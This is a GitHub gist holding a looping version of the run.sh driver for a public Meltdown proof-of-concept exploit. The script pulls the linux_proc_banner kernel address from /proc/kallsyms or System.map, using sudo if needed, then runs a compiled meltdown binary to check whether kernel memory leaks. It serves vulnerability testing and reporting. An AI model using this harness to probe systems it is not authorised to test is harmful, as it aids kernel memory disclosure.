Skip to content

Instantly share code, notes, and snippets.

@dshmgh
Created January 21, 2018 20:25
Show Gist options
  • Save dshmgh/10721f544585c4d2e2725324e1df6d80 to your computer and use it in GitHub Desktop.
Save dshmgh/10721f544585c4d2e2725324e1df6d80 to your computer and use it in GitHub Desktop.
meltdown exploit run.sh with --loop option to run continuously until interrupted
#!/bin/sh
find_linux_proc_banner() {
$2 sed -n -re 's/^([0-9a-f]*[1-9a-f][0-9a-f]*) .* linux_proc_banner$/\1/p' $1
}
LOOPMODE=""
if test "$1" = "--loop" ; then
LOOPMODE="TRUE"
fi
vuln=0
myi=0
while test "$vuln" -eq 0 ;
do
echo "looking for linux_proc_banner in /proc/kallsyms"
linux_proc_banner=$(find_linux_proc_banner /proc/kallsyms)
if test -z $linux_proc_banner; then
echo "protected. requires root"
set -x
linux_proc_banner=$(\
find_linux_proc_banner /proc/kallsyms sudo)
set +x
fi
if test -z $linux_proc_banner; then
echo "not found. reading /boot/System.map-$(uname -r)"
set -x
linux_proc_banner=$(\
find_linux_proc_banner /boot/System.map-$(uname -r) sudo)
set +x
fi
if test -z $linux_proc_banner; then
echo "not found. reading /boot/System.map"
set -x
linux_proc_banner=$(\
find_linux_proc_banner /boot/System.map sudo)
set +x
fi
if test -z $linux_proc_banner; then
echo "can't find linux_proc_banner, unable to test at all"
exit 0
fi
if [ ! -e ./meltdown ]; then
echo "'meltdown' program not found, did you forgot to run 'make' ?"
exit 0
fi
./meltdown $linux_proc_banner 10
vuln=$?
if test $vuln -eq 1; then
echo "PLEASE POST THIS TO https://github.com/paboldin/meltdown-exploit/issues/19"
echo "VULNERABLE ON"
uname -rvi
head /proc/cpuinfo
# exit 1
# fi
elif test $vuln -eq 0; then
echo "PLEASE POST THIS TO https://github.com/paboldin/meltdown-exploit/issues/22"
echo "NOT VULNERABLE ON"
uname -rvi
head /proc/cpuinfo
# exit 0
else
echo "Unknown return $vuln"
fi
if test -z "$LOOPMODE" ; then break ; fi
let "myi++"
echo ; echo LOOPCOUNT=$myi ; echo
done
exit $vuln
@dshmgh
Copy link
Author

dshmgh commented Jan 21, 2018

I should add that run_loop.sh also exits if it finds a "VULNERABLE" condition.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment